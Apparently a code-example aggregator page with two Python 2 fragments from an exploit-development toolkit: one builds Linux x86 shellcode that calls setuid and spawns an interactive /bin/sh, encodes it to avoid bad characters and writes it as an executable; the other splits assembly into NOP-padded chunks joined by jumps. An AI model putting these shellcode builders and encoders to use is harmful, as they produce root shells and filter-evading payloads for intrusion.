Esempio n. 1
0
    """
    sys.exit(2)


#this stuff happens.
if __name__ == '__main__':

    print "Running Chunked Additive Encoder v 1.0"

    app = intelchunkedaddencoder()
    sys.path.append("./shellcode")
    import shellcodeGenerator
    myshellcode = shellcodeGenerator.linux_X86()
    #myshellcode.addAttr("Normalize Stack",[0])
    #myshellcode.addAttr("dup2",None)
    myshellcode.addAttr("setuid", None)
    #myshellcode.addAttr("debugme",None)
    myshellcode.addAttr("execve", {
        "argv": ["/bin/sh", "-i"],
        "envp": [],
        "filename": "/bin/sh"
    })
    sc = myshellcode.get()

    app.setbadstring("\x00\r\n\x20&")
    data = app.encode(sc)
    print "Shellcode=%s" % hexprint(data)
    import makeexe
    makeexe.makelinuxexe(data, filename="a.out")
    print "Wrote a.out"
Esempio n. 2
0
                    else:
                        mark[x.metadata[a]["jumpto"]] = [
                            (bu, maxop, x.metadata[a]["type"], ts)
                        ]

        if ilength + len(chunk) > maxchunk:
            result+=chunk+ "\x90" * (maxchunk - len(chunk)) + \
                mosdef.assemble("jmp $%d" % jsize, arch)
            #+ "A" * jsize # THIS IS FOR TEST POURPOSE ONLY
            idx += (maxchunk - len(chunk))  # padding
            idx += jsize  # hole size
            idx += 2  # near jmp
            chunk = tmp
            idx += ilength
        else:
            chunk += tmp
            idx += ilength

    return result + chunk


if __name__ == "__main__":
    import sys
    import makeexe
    if len(sys.argv) != 2:
        print "%s <filename.s>" % sys.argv[0]
        sys.exit(0)
    data = open(sys.argv[1]).read()
    data = chunkize(data, 20, 16)
    makeexe.makelinuxexe(data, "a.out")